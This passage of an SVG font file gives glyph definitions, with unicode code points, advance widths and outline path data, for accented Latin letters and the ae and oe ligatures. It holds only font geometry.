<glyph unicode="&#xda;" horiz-adv-x="1374" d="M135 645v828q39 6 76 8t76 2q35 0 71.5 -2t75.5 -8v-764q0 -125 9.5 -214t37 -147.5t77.5 -86.5t130 -28t129 28t77 86.5t37 147.5t9 214v764q41 6 78 8t72 2q37 0 74.5 -2t76.5 -8v-828q0 -150 -24.5 -273.5t-88 -211.5t-170 -136.5t-270.5 -48.5t-270.5 48.5 t-170 136.5t-88 212t-24.5 273zM520 1599l201 213q45 6 99 10.5t110 4.5q53 0 102 -4t84 -11l-301 -213q-37 -8 -74 -10t-71 -2q-76 0 -150 12z" />
<glyph unicode="&#xdb;" horiz-adv-x="1374" d="M135 645v828q39 6 76 8t76 2q35 0 71.5 -2t75.5 -8v-764q0 -125 9.5 -214t37 -147.5t77.5 -86.5t130 -28t129 28t77 86.5t37 147.5t9 214v764q41 6 78 8t72 2q37 0 74.5 -2t76.5 -8v-828q0 -150 -24.5 -273.5t-88 -211.5t-170 -136.5t-270.5 -48.5t-270.5 48.5 t-170 136.5t-88 212t-24.5 273zM293 1599l217 213q31 4 76 8.5t102 4.5q55 0 100 -4t78 -9l217 -213q-29 -6 -68.5 -9t-78.5 -3q-35 0 -82 3t-72 9l-96 103l-92 -103q-12 -4 -33 -6t-43.5 -3l-45 -2t-40.5 -1q-39 0 -75 3t-64 9z" />
<glyph unicode="&#xdc;" horiz-adv-x="1374" d="M135 645v828q39 6 76 8t76 2q35 0 71.5 -2t75.5 -8v-764q0 -125 9.5 -214t37 -147.5t77.5 -86.5t130 -28t129 28t77 86.5t37 147.5t9 214v764q41 6 78 8t72 2q37 0 74.5 -2t76.5 -8v-828q0 -150 -24.5 -273.5t-88 -211.5t-170 -136.5t-270.5 -48.5t-270.5 48.5 t-170 136.5t-88 212t-24.5 273zM321 1737q0 29 3.5 59.5t7.5 61.5q31 6 66.5 9t64.5 3t64.5 -3t68.5 -9q6 -31 8 -61t2 -60q0 -29 -2 -59.5t-8 -61.5q-33 -6 -68 -8t-65 -2q-27 0 -63.5 2t-67.5 8q-4 31 -7.5 60.5t-3.5 60.5zM772 1737q0 59 12 121q31 6 67 9t64 3 q29 0 65 -3t68 -9q4 -31 6.5 -61t2.5 -60q0 -29 -2.5 -59.5t-6.5 -61.5q-33 -6 -68.5 -8t-64.5 -2t-64.5 2t-66.5 8q-12 61 -12 121z" />
<glyph unicode="&#xdd;" horiz-adv-x="1259" d="M20 1473q86 12 173 12q78 0 155 -12l291 -668l287 668q76 12 155 12q74 0 158 -12l-459 -947v-528q-41 -6 -77.5 -8t-73.5 -2q-35 0 -73 2t-77 8v528zM457 1599l201 213q45 6 99 10.5t110 4.5q53 0 102 -4t84 -11l-301 -213q-37 -8 -74 -10t-71 -2q-76 0 -150 12z" />
<glyph unicode="&#xde;" horiz-adv-x="1206" d="M143 0v1473q39 6 76 8t72 2q33 0 71.5 -2t79.5 -8v-224q23 2 43.5 2h42.5q102 0 208 -20.5t191 -75.5t138 -155.5t53 -260.5t-53 -260t-138 -155.5t-190.5 -76t-208.5 -20.5h-86v-227q-41 -6 -79.5 -8t-71.5 -2q-35 0 -72 2t-76 8zM442 481q37 -4 56.5 -5t42.5 -1 q51 0 100 12.5t87 43t60.5 81t22.5 127.5q0 76 -22.5 127.5t-60.5 82t-87 43t-100 12.5q-23 0 -42.5 -1.5t-56.5 -5.5v-516z" />
<glyph unicode="&#xdf;" horiz-adv-x="1236" d="M135 0v983q0 254 112.5 396.5t362.5 142.5q123 0 205 -34t132 -87t71.5 -118.5t21.5 -129.5q0 -84 -28.5 -143.5t-62.5 -104.5t-62.5 -84t-28.5 -84q0 -41 23.5 -65.5t58.5 -46t76 -45t75.5 -60.5t58.5 -92t24 -139q0 -51 -18.5 -106.5t-63.5 -101.5t-120 -76t-186 -30 q-76 0 -136 10.5t-122 34.5q4 55 19.5 111.5t40.5 110.5q47 -25 89 -33t77 -8q63 0 97 30.5t34 85.5q0 39 -23.5 65t-58.5 47.5t-75 43t-75 53t-58.5 75.5t-23.5 112q0 72 27 119t59.5 90t59 93t26.5 126q0 29 -7 55.5t-24.5 47t-46 32.5t-71.5 12q-90 0 -132 -71.5 t-42 -233.5v-983q-74 -12 -139 -12q-72 0 -146 12z" />
<glyph unicode="&#xe0;" horiz-adv-x="1069" d="M78 332q0 98 42 164.5t108.5 106.5t148.5 57.5t164 17.5q59 0 131 -6v24q0 49 -16.5 80t-45 48.5t-70.5 23.5t-94 6q-111 0 -235 -43q-29 53 -43 100t-14 113q90 31 180 45t168 14q213 0 332.5 -102t119.5 -328v-614q-72 -23 -174 -43.5t-231 -20.5q-104 0 -191.5 18.5 t-150 61.5t-96 110.5t-33.5 166.5zM143 1473q41 6 79 9t91 3q100 0 184 -12l230 -252q-68 -12 -133 -13q-41 0 -78 4.5t-64 8.5zM350 344q0 -53 22.5 -82t54.5 -42t67.5 -16t62.5 -3q31 0 61.5 5t53.5 9v270q-25 4 -53.5 7.5t-51.5 3.5q-100 0 -158.5 -36t-58.5 -116z" />
<glyph unicode="&#xe1;" horiz-adv-x="1069" d="M78 332q0 98 42 164.5t108.5 106.5t148.5 57.5t164 17.5q59 0 131 -6v24q0 49 -16.5 80t-45 48.5t-70.5 23.5t-94 6q-111 0 -235 -43q-29 53 -43 100t-14 113q90 31 180 45t168 14q213 0 332.5 -102t119.5 -328v-614q-72 -23 -174 -43.5t-231 -20.5q-104 0 -191.5 18.5 t-150 61.5t-96 110.5t-33.5 166.5zM291 1221l230 252q82 12 184 12q53 0 91 -3t79 -9l-309 -252q-27 -4 -64 -8.5t-78 -4.5q-66 0 -133 13zM350 344q0 -53 22.5 -82t54.5 -42t67.5 -16t62.5 -3q31 0 61.5 5t53.5 9v270q-25 4 -53.5 7.5t-51.5 3.5q-100 0 -158.5 -36 t-58.5 -116z" />
<glyph unicode="&#xe2;" horiz-adv-x="1069" d="M78 332q0 98 42 164.5t108.5 106.5t148.5 57.5t164 17.5q59 0 131 -6v24q0 49 -16.5 80t-45 48.5t-70.5 23.5t-94 6q-111 0 -235 -43q-29 53 -43 100t-14 113q90 31 180 45t168 14q213 0 332.5 -102t119.5 -328v-614q-72 -23 -174 -43.5t-231 -20.5q-104 0 -191.5 18.5 t-150 61.5t-96 110.5t-33.5 166.5zM150 1219l200 254q35 4 82 7t90 3q27 0 69 -2t83 -11l198 -251q-47 -12 -124 -13q-35 0 -77 3t-77 12l-84 131l-82 -131q-27 -8 -64.5 -11.5t-74.5 -3.5q-82 0 -139 13zM350 344q0 -53 22.5 -82t54.5 -42t67.5 -16t62.5 -3q31 0 61.5 5 t53.5 9v270q-25 4 -53.5 7.5t-51.5 3.5q-100 0 -158.5 -36t-58.5 -116z" />
<glyph unicode="&#xe3;" horiz-adv-x="1069" d="M78 332q0 98 42 164.5t108.5 106.5t148.5 57.5t164 17.5q59 0 131 -6v24q0 49 -16.5 80t-45 48.5t-70.5 23.5t-94 6q-111 0 -235 -43q-29 53 -43 100t-14 113q90 31 180 45t168 14q213 0 332.5 -102t119.5 -328v-614q-72 -23 -174 -43.5t-231 -20.5q-104 0 -191.5 18.5 t-150 61.5t-96 110.5t-33.5 166.5zM161 1386q35 45 91.5 77t132.5 32q39 0 74.5 -11t70.5 -24.5t71.5 -25t75.5 -11.5q35 0 66 10.5t74 53.5q33 -35 55 -78t33 -86q-35 -45 -92.5 -74.5t-133.5 -29.5q-39 0 -75.5 11t-72.5 24.5t-72 24.5t-72 11q-39 0 -68 -11t-72 -52 q-29 37 -53.5 76.5t-32.5 82.5zM350 344q0 -53 22.5 -82t54.5 -42t67.5 -16t62.5 -3q31 0 61.5 5t53.5 9v270q-25 4 -53.5 7.5t-51.5 3.5q-100 0 -158.5 -36t-58.5 -116z" />
<glyph unicode="&#xe4;" horiz-adv-x="1069" d="M78 332q0 98 42 164.5t108.5 106.5t148.5 57.5t164 17.5q59 0 131 -6v24q0 49 -16.5 80t-45 48.5t-70.5 23.5t-94 6q-111 0 -235 -43q-29 53 -43 100t-14 113q90 31 180 45t168 14q213 0 332.5 -102t119.5 -328v-614q-72 -23 -174 -43.5t-231 -20.5q-104 0 -191.5 18.5 t-150 61.5t-96 110.5t-33.5 166.5zM180 1335q0 29 3.5 59.5t7.5 61.5q31 6 66.5 9t64.5 3t64.5 -3t68.5 -9q6 -31 8 -60.5t2 -60.5q0 -29 -2 -59.5t-8 -61.5q-33 -6 -68 -8t-65 -2q-27 0 -63.5 2t-67.5 8q-4 31 -7.5 61t-3.5 60zM350 344q0 -53 22.5 -82t54.5 -42t67.5 -16 t62.5 -3q31 0 61.5 5t53.5 9v270q-25 4 -53.5 7.5t-51.5 3.5q-100 0 -158.5 -36t-58.5 -116zM631 1335q0 59 12 121q31 6 67 9t64 3q29 0 65 -3t68 -9q4 -31 6.5 -60.5t2.5 -60.5q0 -29 -2.5 -59.5t-6.5 -61.5q-33 -6 -68.5 -8t-64.5 -2t-64.5 2t-66.5 8q-12 61 -12 121z " />
<glyph unicode="&#xe5;" horiz-adv-x="1069" d="M78 332q0 98 42 164.5t108.5 106.5t148.5 57.5t164 17.5q59 0 131 -6v24q0 49 -16.5 80t-45 48.5t-70.5 23.5t-94 6q-111 0 -235 -43q-29 53 -43 100t-14 113q90 31 180 45t168 14q213 0 332.5 -102t119.5 -328v-614q-72 -23 -174 -43.5t-231 -20.5q-104 0 -191.5 18.5 t-150 61.5t-96 110.5t-33.5 166.5zM309 1423q0 111 69 172.5t171 61.5t171 -61.5t69 -172.5t-69 -172t-171 -61t-171 61t-69 172zM350 344q0 -53 22.5 -82t54.5 -42t67.5 -16t62.5 -3q31 0 61.5 5t53.5 9v270q-25 4 -53.5 7.5t-51.5 3.5q-100 0 -158.5 -36t-58.5 -116z M453 1423q0 -53 27.5 -82.5t68.5 -29.5t68.5 29.5t27.5 82.5t-27.5 83t-68.5 30t-68.5 -29.5t-27.5 -83.5z" />
<glyph unicode="&#xe6;" horiz-adv-x="1691" d="M78 332q0 98 42 163.5t108.5 104.5t148.5 55.5t164 16.5q63 0 135 -6v30q0 49 -16.5 80t-47 48.5t-72.5 23.5t-94 6q-51 0 -111.5 -10t-123.5 -33q-29 53 -43 100t-14 113q90 31 180 45t168 14q106 0 190 -30.5t144 -89.5q61 55 142 87.5t183 32.5q111 0 194 -38.5 t139 -106.5t84 -161t28 -199q0 -39 -3.5 -76t-7.5 -60h-661q0 -121 83 -178t210 -57q70 0 132 13t128 38q23 -41 39 -98.5t18 -122.5q-80 -31 -167 -46.5t-173 -15.5q-102 0 -192 22.5t-156 65.5q-70 -41 -157 -64.5t-199 -23.5q-88 0 -165 18.5t-134.5 61.5t-90 110.5 t-32.5 166.5zM350 344q0 -53 21.5 -82t51.5 -42t62.5 -16t55.5 -3q63 0 107 13t67 24q-20 43 -29.5 93t-13.5 107l-2 33q-25 4 -52.5 7t-50.5 3q-100 0 -158.5 -28.5t-58.5 -108.5zM936 643h395q-4 98 -46 158.5t-128 60.5q-102 0 -156.5 -57t-64.5 -162z" />
<glyph unicode="&#xe7;" horiz-adv-x="972" d="M84 528q0 117 31.5 217.5t96 176t161 118.5t223.5 43q45 0 83 -2t72.5 -8t69.5 -16t78 -27q0 -47 -12.5 -105.5t-38.5 -111.5q-61 20 -107.5 27.5t-105.5 7.5q-127 0 -191.5 -83t-64.5 -237q0 -166 69.5 -241.5t188.5 -75.5q31 0 56.5 1t50 5t50 12.5t60.5 20.5 q25 -41 41 -95.5t16 -127.5q-82 -31 -151.5 -41.5t-147.5 -10.5l-32 -84q6 2 13 3.5t19 1.5q109 0 169.5 -50.5t60.5 -128.5q0 -104 -88 -157.5t-230 -53.5q-29 0 -71.5 2.5t-92.5 16.5q4 33 10.5 73t26.5 70q37 -10 66 -14t61 -4q57 0 92 14t35 49t-32.5 48.5t-86.5 13.5 q-29 0 -62.5 -4t-61.5 -15l-15 15l80 217q-98 20 -171 68t-122 119t-72.5 161t-23.5 192z" />
<glyph unicode="&#xe8;" horiz-adv-x="1150" d="M88 522q0 117 33 219.5t97.5 178t159.5 119.5t222 44q111 0 197 -38.5t146.5 -106.5t91 -161t30.5 -199q0 -39 -3 -77t-7 -61h-680q8 -123 86 -178t205 -55q70 0 142.5 13t137.5 38q23 -41 39 -98.5t19 -122.5q-160 -61 -361 -62q-147 0 -252.5 41t-172 114t-98.5 173 t-32 219zM211 1473q41 6 79 9t91 3q100 0 184 -12l230 -252q-68 -12 -133 -13q-41 0 -78 4.5t-64 8.5zM377 643h414q-4 98 -54.5 158.5t-140.5 60.5q-102 0 -155.5 -57t-63.5 -162z" />
<glyph unicode="&#xe9;" horiz-adv-x="1150" d="M88 522q0 117 33 219.5t97.5 178t159.5 119.5t222 44q111 0 197 -38.5t146.5 -106.5t91 -161t30.5 -199q0 -39 -3 -77t-7 -61h-680q8 -123 86 -178t205 -55q70 0 142.5 13t137.5 38q23 -41 39 -98.5t19 -122.5q-160 -61 -361 -62q-147 0 -252.5 41t-172 114t-98.5 173 t-32 219zM377 643h414q-4 98 -54.5 158.5t-140.5 60.5q-102 0 -155.5 -57t-63.5 -162zM391 1221l230 252q82 12 184 12q53 0 91 -3t79 -9l-309 -252q-27 -4 -64 -8.5t-78 -4.5q-66 0 -133 13z" />
<glyph unicode="&#xea;" horiz-adv-x="1150" d="M88 522q0 117 33 219.5t97.5 178t159.5 119.5t222 44q111 0 197 -38.5t146.5 -106.5t91 -161t30.5 -199q0 -39 -3 -77t-7 -61h-680q8 -123 86 -178t205 -55q70 0 142.5 13t137.5 38q23 -41 39 -98.5t19 -122.5q-160 -61 -361 -62q-147 0 -252.5 41t-172 114t-98.5 173 t-32 219zM232 1219l200 254q35 4 82 7t90 3q27 0 69 -2t83 -11l198 -251q-47 -12 -124 -13q-35 0 -77 3t-77 12l-84 131l-82 -131q-27 -8 -64.5 -11.5t-74.5 -3.5q-82 0 -139 13zM377 643h414q-4 98 -54.5 158.5t-140.5 60.5q-102 0 -155.5 -57t-63.5 -162z" />
<glyph unicode="&#xeb;" horiz-adv-x="1150" d="M88 522q0 117 33 219.5t97.5 178t159.5 119.5t222 44q111 0 197 -38.5t146.5 -106.5t91 -161t30.5 -199q0 -39 -3 -77t-7 -61h-680q8 -123 86 -178t205 -55q70 0 142.5 13t137.5 38q23 -41 39 -98.5t19 -122.5q-160 -61 -361 -62q-147 0 -252.5 41t-172 114t-98.5 173 t-32 219zM209 1335q0 29 3.5 59.5t7.5 61.5q31 6 66.5 9t64.5 3t64.5 -3t68.5 -9q6 -31 8 -60.5t2 -60.5q0 -29 -2 -59.5t-8 -61.5q-33 -6 -68 -8t-65 -2q-27 0 -63.5 2t-67.5 8q-4 31 -7.5 61t-3.5 60zM377 643h414q-4 98 -54.5 158.5t-140.5 60.5q-102 0 -155.5 -57 t-63.5 -162zM660 1335q0 59 12 121q31 6 67 9t64 3q29 0 65 -3t68 -9q4 -31 6.5 -60.5t2.5 -60.5q0 -29 -2.5 -59.5t-6.5 -61.5q-33 -6 -68.5 -8t-64.5 -2t-64.5 2t-66.5 8q-12 61 -12 121z" />
<glyph unicode="&#xec;" horiz-adv-x="628" d="M-105 1473q41 6 79 9t91 3q100 0 184 -12l230 -252q-68 -12 -133 -13q-41 0 -78 4.5t-64 8.5zM51 950q0 55 12 109h422v-1059q-74 -12 -143 -12q-68 0 -141 12v838h-138q-6 27 -9 56.5t-3 55.5z" />
<glyph unicode="&#xed;" horiz-adv-x="628" d="M51 950q0 55 12 109h422v-1059q-74 -12 -143 -12q-68 0 -141 12v838h-138q-6 27 -9 56.5t-3 55.5zM94 1221l230 252q82 12 184 12q53 0 91 -3t79 -9l-309 -252q-27 -4 -64 -8.5t-78 -4.5q-66 0 -133 13z" />
<glyph unicode="&#xee;" horiz-adv-x="628" d="M-49 1219l200 254q35 4 82 7t90 3q27 0 69 -2t83 -11l198 -251q-47 -12 -124 -13q-35 0 -77 3t-77 12l-84 131l-82 -131q-27 -8 -64.5 -11.5t-74.5 -3.5q-82 0 -139 13zM51 950q0 55 12 109h422v-1059q-74 -12 -143 -12q-68 0 -141 12v838h-138q-6 27 -9 56.5t-3 55.5z " />
<glyph unicode="&#xef;" horiz-adv-x="628" d="M-54 1335q0 29 3.5 59.5t7.5 61.5q31 6 66.5 9t64.5 3t64.5 -3t68.5 -9q6 -31 8 -60.5t2 -60.5q0 -29 -2 -59.5t-8 -61.5q-33 -6 -68 -8t-65 -2q-27 0 -63.5 2t-67.5 8q-4 31 -7.5 61t-3.5 60zM51 950q0 55 12 109h422v-1059q-74 -12 -143 -12q-68 0 -141 12v838h-138 q-6 27 -9 56.5t-3 55.5zM397 1335q0 59 12 121q31 6 67 9t64 3q29 0 65 -3t68 -9q4 -31 6.5 -60.5t2.5 -60.5q0 -29 -2.5 -59.5t-6.5 -61.5q-33 -6 -68.5 -8t-64.5 -2t-64.5 2t-66.5 8q-12 61 -12 121z" />
<glyph unicode="&#xf0;" horiz-adv-x="1171" d="M84 483q0 109 29.5 203t88 163t143.5 108.5t196 39.5q53 0 104 -13t92 -44q-23 61 -60.5 116.5t-90.5 96.5l-185 -123q-27 23 -51 58.5t-35 74.5l113 74q-70 23 -158 27q-18 57 -18 108q0 35 7 68t17 65q117 0 214.5 -27.5t181.5 -76.5l164 110q31 -23 53 -56.5t39 -74.5 l-121 -80q70 -68 122 -151.5t88 -179t53 -198.5t17 -210q0 -133 -30.5 -240.5t-93 -184.5t-157.5 -119t-222 -42t-220.5 39t-156 107.5t-93 161t-30.5 200.5zM379 483q0 -147 47 -225t158 -78t159 78t48 225t-48.5 225t-158.5 78q-111 0 -158 -77.5t-47 -225.5z" />
<glyph unicode="&#xf1;" horiz-adv-x="1202" d="M143 0v1059q29 6 57.5 9t63.5 3t61.5 -3t55.5 -9q6 -10 11 -29.5t9.5 -41t7.5 -42t5 -35.5q20 31 49 62t66.5 55.5t85 39.5t104.5 15q180 0 271 -98t91 -309v-676q-74 -12 -145 -12q-72 0 -145 12v598q0 111 -34 170t-118 59q-35 0 -72 -10t-66.5 -39.5t-48 -83 t-18.5 -139.5v-555q-74 -12 -145 -12q-72 0 -146 12zM235 1386q35 45 91.5 77t132.5 32q39 0 74.5 -11t70.5 -24.5t71.5 -25t75.5 -11.5q35 0 66 10.5t74 53.5q33 -35 55 -78t33 -86q-35 -45 -92.5 -74.5t-133.5 -29.5q-39 0 -75.5 11t-72.5 24.5t-72 24.5t-72 11 q-39 0 -68 -11t-72 -52q-29 37 -53.5 76.5t-32.5 82.5z" />
<glyph unicode="&#xf2;" horiz-adv-x="1187" d="M84 526q0 117 31.5 219.5t94 177t158 117.5t224.5 43t225 -43t159.5 -117.5t94.5 -177t31 -219.5t-31 -217t-94.5 -175t-159.5 -117t-225 -42t-224.5 42t-158 117t-94 175.5t-31.5 216.5zM176 1473q41 6 79 9t91 3q100 0 184 -12l230 -252q-68 -12 -133 -13 q-41 0 -78 4.5t-64 8.5zM379 526q0 -160 50 -244.5t163 -84.5q115 0 165 85t50 244q0 160 -50 245t-165 85q-113 0 -163 -85t-50 -245z" />
<glyph unicode="&#xf3;" horiz-adv-x="1187" d="M84 526q0 117 31.5 219.5t94 177t158 117.5t224.5 43t225 -43t159.5 -117.5t94.5 -177t31 -219.5t-31 -217t-94.5 -175t-159.5 -117t-225 -42t-224.5 42t-158 117t-94 175.5t-31.5 216.5zM379 526q0 -160 50 -244.5t163 -84.5q115 0 165 85t50 244q0 160 -50 245t-165 85 q-113 0 -163 -85t-50 -245zM383 1221l230 252q82 12 184 12q53 0 91 -3t79 -9l-309 -252q-27 -4 -64 -8.5t-78 -4.5q-66 0 -133 13z" />
<glyph unicode="&#xf4;" horiz-adv-x="1187" d="M84 526q0 117 31.5 219.5t94 177t158 117.5t224.5 43t225 -43t159.5 -117.5t94.5 -177t31 -219.5t-31 -217t-94.5 -175t-159.5 -117t-225 -42t-224.5 42t-158 117t-94 175.5t-31.5 216.5zM232 1219l200 254q35 4 82 7t90 3q27 0 69 -2t83 -11l198 -251q-47 -12 -124 -13 q-35 0 -77 3t-77 12l-84 131l-82 -131q-27 -8 -64.5 -11.5t-74.5 -3.5q-82 0 -139 13zM379 526q0 -160 50 -244.5t163 -84.5q115 0 165 85t50 244q0 160 -50 245t-165 85q-113 0 -163 -85t-50 -245z" />
<glyph unicode="&#xf5;" horiz-adv-x="1187" d="M84 526q0 117 31.5 219.5t94 177t158 117.5t224.5 43t225 -43t159.5 -117.5t94.5 -177t31 -219.5t-31 -217t-94.5 -175t-159.5 -117t-225 -42t-224.5 42t-158 117t-94 175.5t-31.5 216.5zM221 1386q35 45 91.5 77t132.5 32q39 0 74.5 -11t70.5 -24.5t71.5 -25t75.5 -11.5 q35 0 66 10.5t74 53.5q33 -35 55 -78t33 -86q-35 -45 -92.5 -74.5t-133.5 -29.5q-39 0 -75.5 11t-72.5 24.5t-72 24.5t-72 11q-39 0 -68 -11t-72 -52q-29 37 -53.5 76.5t-32.5 82.5zM379 526q0 -160 50 -244.5t163 -84.5q115 0 165 85t50 244q0 160 -50 245t-165 85 q-113 0 -163 -85t-50 -245z" />
<glyph unicode="&#xf6;" horiz-adv-x="1187" d="M84 526q0 117 31.5 219.5t94 177t158 117.5t224.5 43t225 -43t159.5 -117.5t94.5 -177t31 -219.5t-31 -217t-94.5 -175t-159.5 -117t-225 -42t-224.5 42t-158 117t-94 175.5t-31.5 216.5zM223 1335q0 29 3.5 59.5t7.5 61.5q31 6 66.5 9t64.5 3t64.5 -3t68.5 -9 q6 -31 8 -60.5t2 -60.5q0 -29 -2 -59.5t-8 -61.5q-33 -6 -68 -8t-65 -2q-27 0 -63.5 2t-67.5 8q-4 31 -7.5 61t-3.5 60zM379 526q0 -160 50 -244.5t163 -84.5q115 0 165 85t50 244q0 160 -50 245t-165 85q-113 0 -163 -85t-50 -245zM674 1335q0 59 12 121q31 6 67 9t64 3 q29 0 65 -3t68 -9q4 -31 6.5 -60.5t2.5 -60.5q0 -29 -2.5 -59.5t-6.5 -61.5q-33 -6 -68.5 -8t-64.5 -2t-64.5 2t-66.5 8q-12 61 -12 121z" />
<glyph unicode="&#xf7;" d="M172 723q0 63 12 125h863q12 -61 12 -123q0 -63 -12 -125h-863q-12 61 -12 123zM444 313q0 70 49.5 120t118.5 50q70 0 120 -50t50 -120t-50 -119t-120 -49t-119 49t-49 119zM444 1145q0 70 49.5 120t118.5 50q70 0 120 -50.5t50 -119.5q0 -70 -50 -119t-120 -49t-119 49 t-49 119z" />
<glyph unicode="&#xf8;" horiz-adv-x="1187" d="M84 526q0 117 31.5 219.5t94 177t158 117.5t224.5 43q94 0 170 -23.5t135 -64.5l39 47q16 4 36.5 6.5t41.5 2.5q51 0 82 -7l-109 -137q59 -74 87 -171t28 -210q0 -117 -31 -217t-94.5 -175t-159.5 -117t-225 -42q-166 0 -281 72l-35 -45q-18 -4 -38.5 -6t-38.5 -2 q-25 0 -46.5 1t-35.5 5l98 127q-66 74 -98.5 176.5t-32.5 222.5zM379 526q0 -49 4 -92t14 -78l342 437q-53 63 -147 63q-113 0 -163 -85t-50 -245zM465 240q49 -43 127 -43q115 0 165 85t50 244q0 76 -12 136z" />
<glyph unicode="&#xf9;" horiz-adv-x="1171" d="M125 489v570q74 12 145 12q72 0 146 -12v-561q0 -84 13 -138.5t41 -86t69 -45t96 -13.5q76 0 127 14v830q74 12 143 12q72 0 146 -12v-1018q-66 -23 -173.5 -44.5t-224.5 -21.5q-104 0 -200.5 16.5t-169 70t-115.5 155.5t-43 272zM215 1473q41 6 79 9t91 3q100 0 184 -12 l230 -252q-68 -12 -133 -13q-41 0 -78 4.5t-64 8.5z" />
<glyph unicode="&#xfa;" horiz-adv-x="1171" d="M125 489v570q74 12 145 12q72 0 146 -12v-561q0 -84 13 -138.5t41 -86t69 -45t96 -13.5q76 0 127 14v830q74 12 143 12q72 0 146 -12v-1018q-66 -23 -173.5 -44.5t-224.5 -21.5q-104 0 -200.5 16.5t-169 70t-115.5 155.5t-43 272zM401 1221l230 252q82 12 184 12 q53 0 91 -3t79 -9l-309 -252q-27 -4 -64 -8.5t-78 -4.5q-66 0 -133 13z" />
<glyph unicode="&#xfb;" horiz-adv-x="1171" d="M125 489v570q74 12 145 12q72 0 146 -12v-561q0 -84 13 -138.5t41 -86t69 -45t96 -13.5q76 0 127 14v830q74 12 143 12q72 0 146 -12v-1018q-66 -23 -173.5 -44.5t-224.5 -21.5q-104 0 -200.5 16.5t-169 70t-115.5 155.5t-43 272zM226 1219l200 254q35 4 82 7t90 3 q27 0 69 -2t83 -11l198 -251q-47 -12 -124 -13q-35 0 -77 3t-77 12l-84 131l-82 -131q-27 -8 -64.5 -11.5t-74.5 -3.5q-82 0 -139 13z" />
<glyph unicode="&#xfc;" horiz-adv-x="1171" d="M125 489v570q74 12 145 12q72 0 146 -12v-561q0 -84 13 -138.5t41 -86t69 -45t96 -13.5q76 0 127 14v830q74 12 143 12q72 0 146 -12v-1018q-66 -23 -173.5 -44.5t-224.5 -21.5q-104 0 -200.5 16.5t-169 70t-115.5 155.5t-43 272zM233 1335q0 29 3.5 59.5t7.5 61.5 q31 6 66.5 9t64.5 3t64.5 -3t68.5 -9q6 -31 8 -60.5t2 -60.5q0 -29 -2 -59.5t-8 -61.5q-33 -6 -68 -8t-65 -2q-27 0 -63.5 2t-67.5 8q-4 31 -7.5 61t-3.5 60zM684 1335q0 59 12 121q31 6 67 9t64 3q29 0 65 -3t68 -9q4 -31 6.5 -60.5t2.5 -60.5q0 -29 -2.5 -59.5t-6.5 -61.5 q-33 -6 -68.5 -8t-64.5 -2t-64.5 2t-66.5 8q-12 61 -12 121z" />
<glyph unicode="&#xfd;" horiz-adv-x="1110" d="M20 1059q47 10 83 11t67 1q41 0 84 -2t78 -10l221 -924l250 924q68 12 139 12q31 0 65.5 -1t86.5 -11l-396 -1309q-25 -78 -58.5 -129t-76.5 -79.5t-96 -40t-115 -11.5q-57 0 -103 7t-91 20q-2 10 -2 17v15q0 49 11 93.5t28 85.5q18 -6 48.5 -11.5t61.5 -5.5q25 0 49.5 3 t48 18.5t44 48.5t36.5 92l35 127q-23 -2 -50.5 -3t-55.5 -1h-43.5t-36.5 4zM334 1221l230 252q82 12 184 12q53 0 91 -3t79 -9l-309 -252q-27 -4 -64 -8.5t-78 -4.5q-66 0 -133 13z" />
<glyph unicode="&#xfe;" horiz-adv-x="1210" d="M137 -485v1982q39 6 75 8t71 2t70.5 -2t74.5 -8v-557q41 57 108.5 100t170.5 43q88 0 164.5 -32.5t134 -99t89 -167t31.5 -237.5q0 -133 -38.5 -238.5t-112.5 -179.5t-180.5 -114t-241.5 -40q-35 0 -68.5 3.5t-56.5 7.5v-471q-39 -6 -75 -8.5t-70 -2.5q-35 0 -71 2t-75 9 zM428 225q55 -16 127 -16q127 0 194.5 82t67.5 248q0 63 -10 117.5t-34.5 93t-62.5 61.5t-94 23q-51 0 -86.5 -19.5t-58 -53.5t-33 -79t-10.5 -96v-361z" />
<glyph unicode="&#xff;" horiz-adv-x="1110" d="M20 1059q47 10 83 11t67 1q41 0 84 -2t78 -10l221 -924l250 924q68 12 139 12q31 0 65.5 -1t86.5 -11l-396 -1309q-25 -78 -58.5 -129t-76.5 -79.5t-96 -40t-115 -11.5q-57 0 -103 7t-91 20q-2 10 -2 17v15q0 49 11 93.5t28 85.5q18 -6 48.5 -11.5t61.5 -5.5q25 0 49.5 3 t48 18.5t44 48.5t36.5 92l35 127q-23 -2 -50.5 -3t-55.5 -1h-43.5t-36.5 4zM192 1335q0 29 3.5 59.5t7.5 61.5q31 6 66.5 9t64.5 3t64.5 -3t68.5 -9q6 -31 8 -60.5t2 -60.5q0 -29 -2 -59.5t-8 -61.5q-33 -6 -68 -8t-65 -2q-27 0 -63.5 2t-67.5 8q-4 31 -7.5 61t-3.5 60z M643 1335q0 59 12 121q31 6 67 9t64 3q29 0 65 -3t68 -9q4 -31 6.5 -60.5t2.5 -60.5q0 -29 -2.5 -59.5t-6.5 -61.5q-33 -6 -68.5 -8t-64.5 -2t-64.5 2t-66.5 8q-12 61 -12 121z" />
<glyph unicode="&#x152;" horiz-adv-x="1914" d="M98 733q0 164 41 304.5t124 242.5t207 159.5t290 57.5q53 0 121.5 -6t117.5 -18h807q12 -61 13 -125q0 -68 -13 -129h-536v-320h426q12 -66 12 -127q0 -66 -12 -129h-426v-389h551q12 -61 12 -125q0 -68 -12 -129h-811q-27 -6 -58.5 -11t-65.5 -8.5t-67 -4.5t-59 -1 q-166 0 -290 57.5t-207 159t-124 239.5t-41 302zM418 733q0 -256 90 -382t252 -126q74 0 122 7.5t89 23.5v958q-41 12 -89 19.5t-120 7.5q-162 0 -253 -127t-91 -381z" />
<glyph unicode="&#x153;" horiz-adv-x="1828" d="M84 526q0 117 33 219.5t97.5 177t160.5 117.5t225 43q117 0 204 -44t150 -128q59 84 148.5 128t195.5 44t188.5 -38.5t139.5 -106.5t87 -161t30 -199q0 -39 -3 -77t-7 -61h-639q8 -123 75.5 -178t194.5 -55q70 0 132.5 13t127.5 38q23 -41 39 -98.5t18 -122.5 q-80 -31 -159.5 -46.5t-180.5 -15.5q-137 0 -230 46.5t-157 125.5q-66 -86 -149.5 -129t-204.5 -43q-129 0 -225 42t-160.5 117t-97.5 175.5t-33 216.5zM379 526q0 -160 54 -244.5t167 -84.5q115 0 169 85t54 244q0 160 -54 245t-169 85q-113 0 -167 -85t-54 -245zM1096 643 h372q-4 98 -49 158.5t-125 60.5q-86 0 -137 -57t-61 -162z" />
